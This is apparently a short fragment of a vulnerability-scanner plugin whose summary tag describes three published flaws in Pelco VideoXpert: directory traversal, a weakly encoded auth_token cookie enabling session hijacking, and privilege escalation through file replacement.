  script_tag(name:"summary", value:"Pelco VideoXpert is prone to multiple vulnerabilities:

  - Directory traversal vulnerability which allows unauthenticated attackers to read arbitrary files in the context
of the web server. (CVE-2017-9965)

  - Missing encryption of sensitive information. The software transmits sensitive data using double Base64 encoding
for the Cookie 'auth_token' in a communication channel that can be sniffed by unauthorized actors or arbitrarely
be read from the vxcore log file directly using directory traversal attack resulting in authentication bypass/
session hijacking. (CVE-2017-9964)

  - By replacing certain files, an authorized user can obtain system privileges and the inserted code would execute
at an elevated privilege level. (CVE-2017-9966)");
